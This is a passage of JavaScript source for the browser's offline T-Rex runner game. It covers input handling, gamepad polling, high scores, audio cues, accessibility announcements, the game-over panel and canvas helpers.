   * Toggle speed setting if toggle is shown.
   */
  toggleSpeed() {
    if (Runner.audioCues) {
      const speedChange = Runner.slowDown != this.slowSpeedCheckbox.checked;

      if (speedChange) {
        Runner.slowDown = this.slowSpeedCheckbox.checked;
        const updatedConfig =
            Runner.slowDown ? Runner.slowConfig : Runner.normalConfig;

        Runner.config = Object.assign(Runner.config, updatedConfig);
        this.currentSpeed = updatedConfig.SPEED;
        this.tRex.enableSlowConfig();
        this.horizon.adjustObstacleSpeed();
      }
      if (this.playing) {
        this.disableSpeedToggle(true);
      }
    }
  },

  /**
   * Show the speed toggle.
   * From focus event or when audio cues are activated.
   * @param {Event=} e
   */
  showSpeedToggle(e) {
    const isFocusEvent = e && e.type == 'focus';
    if (Runner.audioCues || isFocusEvent) {
      this.slowSpeedCheckboxLabel.classList.toggle(
          HIDDEN_CLASS, isFocusEvent ? false : !this.crashed);
    }
  },

  /**
   * Disable the speed toggle.
   * @param {boolean} disable
   */
  disableSpeedToggle(disable) {
    if (disable) {
      this.slowSpeedCheckbox.setAttribute('disabled', 'disabled');
    } else {
      this.slowSpeedCheckbox.removeAttribute('disabled');
    }
  },

  /**
   * Bind relevant key / mouse / touch listeners.
   */
  startListening() {
    // A11y keyboard / screen reader activation.
    this.containerEl.addEventListener(
        Runner.events.KEYDOWN, this.handleCanvasKeyPress.bind(this));
    if (!IS_MOBILE) {
      this.containerEl.addEventListener(
          Runner.events.FOCUS, this.showSpeedToggle.bind(this));
    }
    this.canvas.addEventListener(
        Runner.events.KEYDOWN, this.preventScrolling.bind(this));
    this.canvas.addEventListener(
        Runner.events.KEYUP, this.preventScrolling.bind(this));

    // Keys.
    document.addEventListener(Runner.events.KEYDOWN, this);
    document.addEventListener(Runner.events.KEYUP, this);

    // Touch / pointer.
    this.containerEl.addEventListener(Runner.events.TOUCHSTART, this);
    document.addEventListener(Runner.events.POINTERDOWN, this);
    document.addEventListener(Runner.events.POINTERUP, this);

    if (this.isArcadeMode()) {
      // Gamepad
      window.addEventListener(Runner.events.GAMEPADCONNECTED, this);
    }
  },

  /**
   * Remove all listeners.
   */
  stopListening() {
    document.removeEventListener(Runner.events.KEYDOWN, this);
    document.removeEventListener(Runner.events.KEYUP, this);

    if (this.touchController) {
      this.touchController.removeEventListener(Runner.events.TOUCHSTART, this);
      this.touchController.removeEventListener(Runner.events.TOUCHEND, this);
    }

    this.containerEl.removeEventListener(Runner.events.TOUCHSTART, this);
    document.removeEventListener(Runner.events.POINTERDOWN, this);
    document.removeEventListener(Runner.events.POINTERUP, this);

    if (this.isArcadeMode()) {
      window.removeEventListener(Runner.events.GAMEPADCONNECTED, this);
    }
  },

  /**
   * Process keydown.
   * @param {Event} e
   */
  onKeyDown(e) {
    // Prevent native page scrolling whilst tapping on mobile.
    if (IS_MOBILE && this.playing) {
      e.preventDefault();
    }

    if (this.isCanvasInView()) {
      // Allow toggling of speed toggle.
      if (Runner.keycodes.JUMP[e.keyCode] &&
          e.target == this.slowSpeedCheckbox) {
        return;
      }

      if (!this.crashed && !this.paused) {
        // For a11y, screen reader activation.
        const isMobileMouseInput = IS_MOBILE &&
                e.type === Runner.events.POINTERDOWN &&
                e.pointerType == 'mouse' && e.target == this.containerEl ||
            (IS_IOS && e.pointerType == 'touch' &&
             document.activeElement == this.containerEl);

        if (Runner.keycodes.JUMP[e.keyCode] ||
            e.type === Runner.events.TOUCHSTART || isMobileMouseInput ||
            (Runner.keycodes.DUCK[e.keyCode] && this.altGameModeActive)) {
          e.preventDefault();
          // Starting the game for the first time.
          if (!this.playing) {
            // Started by touch so create a touch controller.
            if (!this.touchController && e.type === Runner.events.TOUCHSTART) {
              this.createTouchController();
            }

            if (isMobileMouseInput) {
              this.handleCanvasKeyPress(e);
            }
            this.loadSounds();
            this.setPlayStatus(true);
            this.update();
            if (window.errorPageController) {
              errorPageController.trackEasterEgg();
            }
          }
          // Start jump.
          if (!this.tRex.jumping && !this.tRex.ducking) {
            if (Runner.audioCues) {
              this.generatedSoundFx.cancelFootSteps();
            } else {
              this.playSound(this.soundFx.BUTTON_PRESS);
            }
            this.tRex.startJump(this.currentSpeed);
          }
          // Ducking is disabled on alt game modes.
        } else if (
            !this.altGameModeActive && this.playing &&
            Runner.keycodes.DUCK[e.keyCode]) {
          e.preventDefault();
          if (this.tRex.jumping) {
            // Speed drop, activated only when jump key is not pressed.
            this.tRex.setSpeedDrop();
          } else if (!this.tRex.jumping && !this.tRex.ducking) {
            // Duck.
            this.tRex.setDuck(true);
          }
        }
      }
    }
  },

  /**
   * Process key up.
   * @param {Event} e
   */
  onKeyUp(e) {
    const keyCode = String(e.keyCode);
    const isjumpKey = Runner.keycodes.JUMP[keyCode] ||
        e.type === Runner.events.TOUCHEND || e.type === Runner.events.POINTERUP;

    if (this.isRunning() && isjumpKey) {
      this.tRex.endJump();
    } else if (Runner.keycodes.DUCK[keyCode]) {
      this.tRex.speedDrop = false;
      this.tRex.setDuck(false);
    } else if (this.crashed) {
      // Check that enough time has elapsed before allowing jump key to restart.
      const deltaTime = getTimeStamp() - this.time;

      if (this.isCanvasInView() &&
          (Runner.keycodes.RESTART[keyCode] || this.isLeftClickOnCanvas(e) ||
          (deltaTime >= this.config.GAMEOVER_CLEAR_TIME &&
          Runner.keycodes.JUMP[keyCode]))) {
        this.handleGameOverClicks(e);
      }
    } else if (this.paused && isjumpKey) {
      // Reset the jump state
      this.tRex.reset();
      this.play();
    }
  },

  /**
   * Process gamepad connected event.
   * @param {Event} e
   */
  onGamepadConnected(e) {
    if (!this.pollingGamepads) {
      this.pollGamepadState();
    }
  },

  /**
   * rAF loop for gamepad polling.
   */
  pollGamepadState() {
    const gamepads = navigator.getGamepads();
    this.pollActiveGamepad(gamepads);

    this.pollingGamepads = true;
    requestAnimationFrame(this.pollGamepadState.bind(this));
  },

  /**
   * Polls for a gamepad with the jump button pressed. If one is found this
   * becomes the "active" gamepad and all others are ignored.
   * @param {!Array<Gamepad>} gamepads
   */
  pollForActiveGamepad(gamepads) {
    for (let i = 0; i < gamepads.length; ++i) {
      if (gamepads[i] && gamepads[i].buttons.length > 0 &&
          gamepads[i].buttons[0].pressed) {
        this.gamepadIndex = i;
        this.pollActiveGamepad(gamepads);
        return;
      }
    }
  },

  /**
   * Polls the chosen gamepad for button presses and generates KeyboardEvents
   * to integrate with the rest of the game logic.
   * @param {!Array<Gamepad>} gamepads
   */
  pollActiveGamepad(gamepads) {
    if (this.gamepadIndex === undefined) {
      this.pollForActiveGamepad(gamepads);
      return;
    }

    const gamepad = gamepads[this.gamepadIndex];
    if (!gamepad) {
      this.gamepadIndex = undefined;
      this.pollForActiveGamepad(gamepads);
      return;
    }

    // The gamepad specification defines the typical mapping of physical buttons
    // to button indicies: https://w3c.github.io/gamepad/#remapping
    this.pollGamepadButton(gamepad, 0, 38);  // Jump
    if (gamepad.buttons.length >= 2) {
      this.pollGamepadButton(gamepad, 1, 40);  // Duck
    }
    if (gamepad.buttons.length >= 10) {
      this.pollGamepadButton(gamepad, 9, 13);  // Restart
    }

    this.previousGamepad = gamepad;
  },

  /**
   * Generates a key event based on a gamepad button.
   * @param {!Gamepad} gamepad
   * @param {number} buttonIndex
   * @param {number} keyCode
   */
  pollGamepadButton(gamepad, buttonIndex, keyCode) {
    const state = gamepad.buttons[buttonIndex].pressed;
    let previousState = false;
    if (this.previousGamepad) {
      previousState = this.previousGamepad.buttons[buttonIndex].pressed;
    }
    // Generate key events on the rising and falling edge of a button press.
    if (state !== previousState) {
      const e = new KeyboardEvent(state ? Runner.events.KEYDOWN
                                      : Runner.events.KEYUP,
                                { keyCode: keyCode });
      document.dispatchEvent(e);
    }
  },

  /**
   * Handle interactions on the game over screen state.
   * A user is able to tap the high score twice to reset it.
   * @param {Event} e
   */
  handleGameOverClicks(e) {
    if (e.target != this.slowSpeedCheckbox) {
      e.preventDefault();
      if (this.distanceMeter.hasClickedOnHighScore(e) && this.highestScore) {
        if (this.distanceMeter.isHighScoreFlashing()) {
          // Subsequent click, reset the high score.
          this.saveHighScore(0, true);
          this.distanceMeter.resetHighScore();
        } else {
          // First click, flash the high score.
          this.distanceMeter.startHighScoreFlashing();
        }
      } else {
        this.distanceMeter.cancelHighScoreFlashing();
        this.restart();
      }
    }
  },

  /**
   * Returns whether the event was a left click on canvas.
   * On Windows right click is registered as a click.
   * @param {Event} e
   * @return {boolean}
   */
  isLeftClickOnCanvas(e) {
    return e.button != null && e.button < 2 &&
        e.type === Runner.events.POINTERUP &&
        (e.target === this.canvas ||
         (IS_MOBILE && Runner.audioCues && e.target === this.containerEl));
  },

  /**
   * RequestAnimationFrame wrapper.
   */
  scheduleNextUpdate() {
    if (!this.updatePending) {
      this.updatePending = true;
      this.raqId = requestAnimationFrame(this.update.bind(this));
    }
  },

  /**
   * Whether the game is running.
   * @return {boolean}
   */
  isRunning() {
    return !!this.raqId;
  },

  /**
   * Set the initial high score as stored in the user's profile.
   * @param {number} highScore
   */
  initializeHighScore(highScore) {
    this.syncHighestScore = true;
    highScore = Math.ceil(highScore);
    if (highScore < this.highestScore) {
      if (window.errorPageController) {
        errorPageController.updateEasterEggHighScore(this.highestScore);
      }
      return;
    }
    this.highestScore = highScore;
    this.distanceMeter.setHighScore(this.highestScore);
  },

  /**
   * Sets the current high score and saves to the profile if available.
   * @param {number} distanceRan Total distance ran.
   * @param {boolean=} opt_resetScore Whether to reset the score.
   */
  saveHighScore(distanceRan, opt_resetScore) {
    this.highestScore = Math.ceil(distanceRan);
    this.distanceMeter.setHighScore(this.highestScore);

    // Store the new high score in the profile.
    if (this.syncHighestScore && window.errorPageController) {
      if (opt_resetScore) {
        errorPageController.resetEasterEggHighScore();
      } else {
        errorPageController.updateEasterEggHighScore(this.highestScore);
      }
    }
  },

  /**
   * Game over state.
   */
  gameOver() {
    this.playSound(this.soundFx.HIT);
    vibrate(200);

    this.stop();
    this.crashed = true;
    this.distanceMeter.achievement = false;

    this.tRex.update(100, Trex.status.CRASHED);

    // Game over panel.
    if (!this.gameOverPanel) {
      const origSpriteDef = IS_HIDPI ?
          Runner.spriteDefinitionByType.original.HDPI :
          Runner.spriteDefinitionByType.original.LDPI;

      if (this.canvas) {
        if (Runner.isAltGameModeEnabled) {
          this.gameOverPanel = new GameOverPanel(
              this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
              this.dimensions, origSpriteDef.ALT_GAME_END,
              this.altGameModeActive);
        } else {
          this.gameOverPanel = new GameOverPanel(
              this.canvas, origSpriteDef.TEXT_SPRITE, origSpriteDef.RESTART,
              this.dimensions);
        }
      }
    }

    this.gameOverPanel.draw(this.altGameModeActive, this.tRex);

    // Update the high score.
    if (this.distanceRan > this.highestScore) {
      this.saveHighScore(this.distanceRan);
    }

    // Reset the time clock.
    this.time = getTimeStamp();

    if (Runner.audioCues) {
      this.generatedSoundFx.stopAll();
      announcePhrase(
          getA11yString(A11Y_STRINGS.gameOver)
              .replace(
                  '$1',
                  this.distanceMeter.getActualDistance(this.distanceRan)
                      .toString()) +
          ' ' +
          getA11yString(A11Y_STRINGS.highScore)
              .replace(
                  '$1',

                  this.distanceMeter.getActualDistance(this.highestScore)
                      .toString()));
      this.containerEl.setAttribute(
          'title', getA11yString(A11Y_STRINGS.ariaLabel));
    }
    this.showSpeedToggle();
    this.disableSpeedToggle(false);
  },

  stop() {
    this.setPlayStatus(false);
    this.paused = true;
    cancelAnimationFrame(this.raqId);
    this.raqId = 0;
    this.generatedSoundFx.stopAll();
  },

  play() {
    if (!this.crashed) {
      this.setPlayStatus(true);
      this.paused = false;
      this.tRex.update(0, Trex.status.RUNNING);
      this.time = getTimeStamp();
      this.update();
      this.generatedSoundFx.background();
    }
  },

  restart() {
    if (!this.raqId) {
      this.playCount++;
      this.runningTime = 0;
      this.setPlayStatus(true);
      this.toggleSpeed();
      this.paused = false;
      this.crashed = false;
      this.distanceRan = 0;
      this.setSpeed(this.config.SPEED);
      this.time = getTimeStamp();
      this.containerEl.classList.remove(Runner.classes.CRASHED);
      this.clearCanvas();
      this.distanceMeter.reset();
      this.horizon.reset();
      this.tRex.reset();
      this.playSound(this.soundFx.BUTTON_PRESS);
      this.invert(true);
      this.flashTimer = null;
      this.update();
      this.gameOverPanel.reset();
      this.generatedSoundFx.background();
      this.containerEl.setAttribute('title', getA11yString(A11Y_STRINGS.jump));
      announcePhrase(getA11yString(A11Y_STRINGS.started));
    }
  },

  setPlayStatus(isPlaying) {
    if (this.touchController) {
      this.touchController.classList.toggle(HIDDEN_CLASS, !isPlaying);
    }
    this.playing = isPlaying;
  },

  /**
   * Whether the game should go into arcade mode.
   * @return {boolean}
   */
  isArcadeMode() {
    // In RTL languages the title is wrapped with the left to right mark
    // control characters &#x202A; and &#x202C but are invisible.
    return IS_RTL ? document.title.indexOf(ARCADE_MODE_URL) == 1 :
                    document.title === ARCADE_MODE_URL;
  },

  /**
   * Hides offline messaging for a fullscreen game only experience.
   */
  setArcadeMode() {
    document.body.classList.add(Runner.classes.ARCADE_MODE);
    this.setArcadeModeContainerScale();
  },

  /**
   * Sets the scaling for arcade mode.
   */
  setArcadeModeContainerScale() {
    const windowHeight = window.innerHeight;
    const scaleHeight = windowHeight / this.dimensions.HEIGHT;
    const scaleWidth = window.innerWidth / this.dimensions.WIDTH;
    const scale = Math.max(1, Math.min(scaleHeight, scaleWidth));
    const scaledCanvasHeight = this.dimensions.HEIGHT * scale;
    // Positions the game container at 10% of the available vertical window
    // height minus the game container height.
    const translateY = Math.ceil(Math.max(0, (windowHeight - scaledCanvasHeight -
        Runner.config.ARCADE_MODE_INITIAL_TOP_POSITION) *
        Runner.config.ARCADE_MODE_TOP_POSITION_PERCENT)) *
        window.devicePixelRatio;

    const cssScale = IS_RTL ? -scale + ',' + scale : scale;
    this.containerEl.style.transform =
        'scale(' + cssScale + ') translateY(' + translateY + 'px)';
  },

  /**
   * Pause the game if the tab is not in focus.
   */
  onVisibilityChange(e) {
    if (document.hidden || document.webkitHidden || e.type === 'blur' ||
        document.visibilityState !== 'visible') {
      this.stop();
    } else if (!this.crashed) {
      this.tRex.reset();
      this.play();
    }
  },

  /**
   * Play a sound.
   * @param {AudioBuffer} soundBuffer
   */
  playSound(soundBuffer) {
    if (soundBuffer) {
      const sourceNode = this.audioContext.createBufferSource();
      sourceNode.buffer = soundBuffer;
      sourceNode.connect(this.audioContext.destination);
      sourceNode.start(0);
    }
  },

  /**
   * Inverts the current page / canvas colors.
   * @param {boolean} reset Whether to reset colors.
   */
  invert(reset) {
    const htmlEl = document.firstElementChild;

    if (reset) {
      htmlEl.classList.toggle(Runner.classes.INVERTED,
          false);
      this.invertTimer = 0;
      this.inverted = false;
    } else {
      this.inverted = htmlEl.classList.toggle(
          Runner.classes.INVERTED, this.invertTrigger);
    }
  },
};


/**
 * Updates the canvas size taking into
 * account the backing store pixel ratio and
 * the device pixel ratio.
 *
 * See article by Paul Lewis:
 * http://www.html5rocks.com/en/tutorials/canvas/hidpi/
 *
 * @param {HTMLCanvasElement} canvas
 * @param {number=} opt_width
 * @param {number=} opt_height
 * @return {boolean} Whether the canvas was scaled.
 */
Runner.updateCanvasScaling = function(canvas, opt_width, opt_height) {
  const context =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));

  // Query the various pixel ratios
  const devicePixelRatio = Math.floor(window.devicePixelRatio) || 1;
  /** @suppress {missingProperties} */
  const backingStoreRatio =
      Math.floor(context.webkitBackingStorePixelRatio) || 1;
  const ratio = devicePixelRatio / backingStoreRatio;

  // Upscale the canvas if the two ratios don't match
  if (devicePixelRatio !== backingStoreRatio) {
    const oldWidth = opt_width || canvas.width;
    const oldHeight = opt_height || canvas.height;

    canvas.width = oldWidth * ratio;
    canvas.height = oldHeight * ratio;

    canvas.style.width = oldWidth + 'px';
    canvas.style.height = oldHeight + 'px';

    // Scale the context to counter the fact that we've manually scaled
    // our canvas element.
    context.scale(ratio, ratio);
    return true;
  } else if (devicePixelRatio === 1) {
    // Reset the canvas width / height. Fixes scaling bug when the page is
    // zoomed and the devicePixelRatio changes accordingly.
    canvas.style.width = canvas.width + 'px';
    canvas.style.height = canvas.height + 'px';
  }
  return false;
};


/**
 * Whether events are enabled.
 * @return {boolean}
 */
Runner.isAltGameModeEnabled = function() {
  return loadTimeData && loadTimeData.valueExists('enableAltGameMode');
};


/**
 * Generated sound FX class for audio cues.
 * @constructor
 */
function GeneratedSoundFx() {
  this.audioCues = false;
  this.context = null;
  this.panner = null;
}

GeneratedSoundFx.prototype = {
  init() {
    this.audioCues = true;
    if (!this.context) {
      // iOS only supports the webkit version.
      this.context = window.webkitAudioContext ? new webkitAudioContext() :
                                                 new AudioContext();
      if (IS_IOS) {
        this.context.onstatechange = (function() {
                                       if (this.context.state != 'running') {
                                         this.context.resume();
                                       }
                                     }).bind(this);
        this.context.resume();
      }
      this.panner = this.context.createStereoPanner ?
          this.context.createStereoPanner() :
          null;
    }
  },

  stopAll() {
    this.cancelFootSteps();
  },

  /**
   * Play oscillators at certain frequency and for a certain time.
   * @param {number} frequency
   * @param {number} startTime
   * @param {number} duration
   * @param {?number=} opt_vol
   * @param {number=} opt_pan
   */
  playNote(frequency, startTime, duration, opt_vol, opt_pan) {
    const osc1 = this.context.createOscillator();
    const osc2 = this.context.createOscillator();
    const volume = this.context.createGain();

    // Set oscillator wave type
    osc1.type = 'triangle';
    osc2.type = 'triangle';
    volume.gain.value = 0.1;

    // Set up node routing
    if (this.panner) {
      this.panner.pan.value = opt_pan || 0;
      osc1.connect(volume).connect(this.panner);
      osc2.connect(volume).connect(this.panner);
      this.panner.connect(this.context.destination);
    } else {
      osc1.connect(volume);
      osc2.connect(volume);
      volume.connect(this.context.destination);
    }

    // Detune oscillators for chorus effect
    osc1.frequency.value = frequency + 1;
    osc2.frequency.value = frequency - 2;

    // Fade out
    volume.gain.setValueAtTime(opt_vol || 0.01, startTime + duration - 0.05);
    volume.gain.linearRampToValueAtTime(0.00001, startTime + duration);

    // Start oscillators
    osc1.start(startTime);
    osc2.start(startTime);
    // Stop oscillators
    osc1.stop(startTime + duration);
    osc2.stop(startTime + duration);
  },

  background() {
    if (this.audioCues) {
      const now = this.context.currentTime;
      this.playNote(493.883, now, 0.116);
      this.playNote(659.255, now + 0.116, 0.232);
      this.loopFootSteps();
    }
  },

  loopFootSteps() {
    if (this.audioCues && !this.bgSoundIntervalId) {
      this.bgSoundIntervalId = setInterval(function() {
        this.playNote(73.42, this.context.currentTime, 0.05, 0.16);
        this.playNote(69.30, this.context.currentTime + 0.116, 0.116, 0.16);
      }.bind(this), 280);
    }
  },

  cancelFootSteps() {
    if (this.audioCues && this.bgSoundIntervalId) {
      clearInterval(this.bgSoundIntervalId);
      this.bgSoundIntervalId = null;
      this.playNote(103.83, this.context.currentTime, 0.232, 0.02);
      this.playNote(116.54, this.context.currentTime + 0.116, 0.232, 0.02);
    }
  },

  collect() {
    if (this.audioCues) {
      this.cancelFootSteps();
      const now = this.context.currentTime;
      this.playNote(830.61, now, 0.116);
      this.playNote(1318.51, now + 0.116, 0.232);
    }
  },

  jump() {
    if (this.audioCues) {
      const now = this.context.currentTime;
      this.playNote(659.25, now, 0.116, 0.3, -0.6);
      this.playNote(880, now + 0.116, 0.232, 0.3, -0.6);
    }
  },
};


/**
 * Speak a phrase using Speech Synthesis API for a11y.
 * @param {string} phrase Sentence to speak.
 */
function speakPhrase(phrase) {
  if ('speechSynthesis' in window) {
    const msg = new SpeechSynthesisUtterance(phrase);
    const voices = window.speechSynthesis.getVoices();
    msg.text = phrase;
    speechSynthesis.speak(msg);
  }
}


/**
 * For screen readers make an announcement to the live region.
 * @param {string} phrase Sentence to speak.
 */
function announcePhrase(phrase) {
  if (Runner.a11yStatusEl) {
    Runner.a11yStatusEl.textContent = '';
    Runner.a11yStatusEl.textContent = phrase;
  }
}


/**
 * Returns a string from loadTimeData data object.
 * @param {string} stringName
 * @return {string}
 */
function getA11yString(stringName) {
  return loadTimeData && loadTimeData.valueExists(stringName) ?
      loadTimeData.getString(stringName) :
      '';
}


/**
 * Get random number.
 * @param {number} min
 * @param {number} max
 */
function getRandomNum(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min;
}


/**
 * Vibrate on mobile devices.
 * @param {number} duration Duration of the vibration in milliseconds.
 */
function vibrate(duration) {
  if (IS_MOBILE && window.navigator.vibrate) {
    window.navigator.vibrate(duration);
  }
}


/**
 * Create canvas element.
 * @param {Element} container Element to append canvas to.
 * @param {number} width
 * @param {number} height
 * @param {string=} opt_classname
 * @return {HTMLCanvasElement}
 */
function createCanvas(container, width, height, opt_classname) {
  const canvas =
      /** @type {!HTMLCanvasElement} */ (document.createElement('canvas'));
  canvas.className = opt_classname ? Runner.classes.CANVAS + ' ' +
      opt_classname : Runner.classes.CANVAS;
  canvas.width = width;
  canvas.height = height;
  container.appendChild(canvas);

  return canvas;
}


/**
 * Decodes the base 64 audio to ArrayBuffer used by Web Audio.
 * @param {string} base64String
 */
function decodeBase64ToArrayBuffer(base64String) {
  const len = (base64String.length / 4) * 3;
  const str = atob(base64String);
  const arrayBuffer = new ArrayBuffer(len);
  const bytes = new Uint8Array(arrayBuffer);

  for (let i = 0; i < len; i++) {
    bytes[i] = str.charCodeAt(i);
  }
  return bytes.buffer;
}


/**
 * Return the current timestamp.
 * @return {number}
 */
function getTimeStamp() {
  return IS_IOS ? new Date().getTime() : performance.now();
}


//******************************************************************************


/**
 * Game over panel.
 * @param {!HTMLCanvasElement} canvas
 * @param {Object} textImgPos
 * @param {Object} restartImgPos
 * @param {!Object} dimensions Canvas dimensions.
 * @param {Object=} opt_altGameEndImgPos
 * @param {boolean=} opt_altGameActive
 * @constructor
 */
function GameOverPanel(
    canvas, textImgPos, restartImgPos, dimensions, opt_altGameEndImgPos,
    opt_altGameActive) {
  this.canvas = canvas;
  this.canvasCtx =
      /** @type {CanvasRenderingContext2D} */ (canvas.getContext('2d'));
  this.canvasDimensions = dimensions;
  this.textImgPos = textImgPos;
  this.restartImgPos = restartImgPos;
  this.altGameEndImgPos = opt_altGameEndImgPos;
  this.altGameModeActive = opt_altGameActive;

  // Retry animation.
  this.frameTimeStamp = 0;
  this.animTimer = 0;
  this.currentFrame = 0;

  this.gameOverRafId = null;

  this.flashTimer = 0;
  this.flashCounter = 0;
  this.originalText = true;
}

GameOverPanel.RESTART_ANIM_DURATION = 875;
GameOverPanel.LOGO_PAUSE_DURATION = 875;
GameOverPanel.FLASH_ITERATIONS = 5;

/**
 * Animation frames spec.
 */
GameOverPanel.animConfig = {
  frames: [0, 36, 72, 108, 144, 180, 216, 252],
  msPerFrame: GameOverPanel.RESTART_ANIM_DURATION / 8,
};

/**
 * Dimensions used in the panel.
 * @enum {number}
 */
GameOverPanel.dimensions = {
  TEXT_X: 0,
  TEXT_Y: 13,
  TEXT_WIDTH: 191,
  TEXT_HEIGHT: 11,
  RESTART_WIDTH: 36,
  RESTART_HEIGHT: 32,
};


GameOverPanel.prototype = {
  /**
   * Update the panel dimensions.
   * @param {number} width New canvas width.
   * @param {number} opt_height Optional new canvas height.
   */
  updateDimensions(width, opt_height) {
    this.canvasDimensions.WIDTH = width;
    if (opt_height) {
      this.canvasDimensions.HEIGHT = opt_height;
    }
    this.currentFrame = GameOverPanel.animConfig.frames.length - 1;
  },

  drawGameOverText(dimensions, opt_useAltText) {
    const centerX = this.canvasDimensions.WIDTH / 2;
    let textSourceX = dimensions.TEXT_X;
    let textSourceY = dimensions.TEXT_Y;
    let textSourceWidth = dimensions.TEXT_WIDTH;
    let textSourceHeight = dimensions.TEXT_HEIGHT;

    const textTargetX = Math.round(centerX - (dimensions.TEXT_WIDTH / 2));
    const textTargetY = Math.round((this.canvasDimensions.HEIGHT - 25) / 3);
    const textTargetWidth = dimensions.TEXT_WIDTH;
    const textTargetHeight = dimensions.TEXT_HEIGHT;

    if (IS_HIDPI) {
      textSourceY *= 2;
      textSourceX *= 2;
      textSourceWidth *= 2;
      textSourceHeight *= 2;
    }

    if (!opt_useAltText) {
      textSourceX += this.textImgPos.x;
      textSourceY += this.textImgPos.y;
    }

    const spriteSource =
        opt_useAltText ? Runner.altCommonImageSprite : Runner.origImageSprite;

    this.canvasCtx.save();

    if (IS_RTL) {
      this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
      this.canvasCtx.scale(-1, 1);
    }

    // Game over text from sprite.
    this.canvasCtx.drawImage(
        spriteSource, textSourceX, textSourceY, textSourceWidth,
        textSourceHeight, textTargetX, textTargetY, textTargetWidth,
        textTargetHeight);

    this.canvasCtx.restore();
  },

  /**
   * Draw additional adornments for alternative game types.
   */
  drawAltGameElements(tRex) {
    // Additional adornments.
    if (this.altGameModeActive && Runner.spriteDefinition.ALT_GAME_END_CONFIG) {
      const altGameEndConfig = Runner.spriteDefinition.ALT_GAME_END_CONFIG;

      let altGameEndSourceWidth = altGameEndConfig.WIDTH;
      let altGameEndSourceHeight = altGameEndConfig.HEIGHT;
      const altGameEndTargetX = tRex.xPos + altGameEndConfig.X_OFFSET;
      const altGameEndTargetY = tRex.yPos + altGameEndConfig.Y_OFFSET;

      if (IS_HIDPI) {
        altGameEndSourceWidth *= 2;
        altGameEndSourceHeight *= 2;
      }

      this.canvasCtx.drawImage(
          Runner.altCommonImageSprite, this.altGameEndImgPos.x,
          this.altGameEndImgPos.y, altGameEndSourceWidth,
          altGameEndSourceHeight, altGameEndTargetX, altGameEndTargetY,
          altGameEndConfig.WIDTH, altGameEndConfig.HEIGHT);
    }
  },

  /**
   * Draw restart button.
   */
  drawRestartButton() {
    const dimensions = GameOverPanel.dimensions;
    let framePosX = GameOverPanel.animConfig.frames[this.currentFrame];
    let restartSourceWidth = dimensions.RESTART_WIDTH;
    let restartSourceHeight = dimensions.RESTART_HEIGHT;
    const restartTargetX =
        (this.canvasDimensions.WIDTH / 2) - (dimensions.RESTART_WIDTH / 2);
    const restartTargetY = this.canvasDimensions.HEIGHT / 2;

    if (IS_HIDPI) {
      restartSourceWidth *= 2;
      restartSourceHeight *= 2;
      framePosX *= 2;
    }

    this.canvasCtx.save();

    if (IS_RTL) {
      this.canvasCtx.translate(this.canvasDimensions.WIDTH, 0);
      this.canvasCtx.scale(-1, 1);
    }

    this.canvasCtx.drawImage(
        Runner.origImageSprite, this.restartImgPos.x + framePosX,
        this.restartImgPos.y, restartSourceWidth, restartSourceHeight,
        restartTargetX, restartTargetY, dimensions.RESTART_WIDTH,
        dimensions.RESTART_HEIGHT);
    this.canvasCtx.restore();
  },


  /**
   * Draw the panel.
   * @param {boolean} opt_altGameModeActive
   * @param {!Trex} opt_tRex
   */
  draw(opt_altGameModeActive, opt_tRex) {
    if (opt_altGameModeActive) {
      this.altGameModeActive = opt_altGameModeActive;
    }

    this.drawGameOverText(GameOverPanel.dimensions, false);
    this.drawRestartButton();
    this.drawAltGameElements(opt_tRex);
    this.update();
  },

  /**
   * Update animation frames.
   */
  update() {
    const now = getTimeStamp();
    const deltaTime = now - (this.frameTimeStamp || now);

    this.frameTimeStamp = now;
    this.animTimer += deltaTime;
    this.flashTimer += deltaTime;

    // Restart Button
    if (this.currentFrame == 0 &&
        this.animTimer > GameOverPanel.LOGO_PAUSE_DURATION) {
      this.animTimer = 0;
      this.currentFrame++;
      this.drawRestartButton();
    } else if (
        this.currentFrame > 0 &&
        this.currentFrame < GameOverPanel.animConfig.frames.length) {
      if (this.animTimer >= GameOverPanel.animConfig.msPerFrame) {
        this.currentFrame++;
        this.drawRestartButton();
      }
    } else if (
        !this.altGameModeActive &&
        this.currentFrame == GameOverPanel.animConfig.frames.length) {
      this.reset();
      return;
    }

    // Game over text
    if (this.altGameModeActive &&
        Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG) {
      const altTextConfig =
          Runner.spriteDefinitionByType.original.ALT_GAME_OVER_TEXT_CONFIG;

      if (this.flashCounter < GameOverPanel.FLASH_ITERATIONS &&
          this.flashTimer > altTextConfig.FLASH_DURATION) {
        this.flashTimer = 0;
        this.originalText = !this.originalText;

        this.clearGameOverTextBounds();
        if (this.originalText) {
          this.drawGameOverText(GameOverPanel.dimensions, false);
          this.flashCounter++;
        } else {
          this.drawGameOverText(altTextConfig, true);
        }
      } else if (this.flashCounter >= GameOverPanel.FLASH_ITERATIONS) {
        this.reset();
        return;
      }
    }

    this.gameOverRafId = requestAnimationFrame(this.update.bind(this));
  },

  /**
   * Clear game over text.
   */
  clearGameOverTextBounds() {
    this.canvasCtx.save();

    this.canvasCtx.clearRect(
        Math.round(
            this.canvasDimensions.WIDTH / 2 -
            (GameOverPanel.dimensions.TEXT_WIDTH / 2)),
        Math.round((this.canvasDimensions.HEIGHT - 25) / 3),
        GameOverPanel.dimensions.TEXT_WIDTH,
        GameOverPanel.dimensions.TEXT_HEIGHT + 4);
    this.canvasCtx.restore();
  },

  reset() {
    if (this.gameOverRafId) {
      cancelAnimationFrame(this.gameOverRafId);
      this.gameOverRafId = null;
    }
    this.animTimer = 0;
    this.frameTimeStamp = 0;
    this.currentFrame = 0;
    this.flashTimer = 0;
    this.flashCounter = 0;
    this.originalText = true;
  },
};


//******************************************************************************

/**
 * Check for a collision.
 * @param {!Obstacle} obstacle
 * @param {!Trex} tRex T-rex object.
 * @param {CanvasRenderingContext2D=} opt_canvasCtx Optional canvas context for
 *    drawing collision boxes.
 * @return {Array<CollisionBox>|undefined}
 */
function checkForCollision(obstacle, tRex, opt_canvasCtx) {
  const obstacleBoxXPos = Runner.defaultDimensions.WIDTH + obstacle.xPos;

  // Adjustments are made to the bounding box as there is a 1 pixel white
  // border around the t-rex and obstacles.
  const tRexBox = new CollisionBox(
      tRex.xPos + 1,
      tRex.yPos + 1,
      tRex.config.WIDTH - 2,
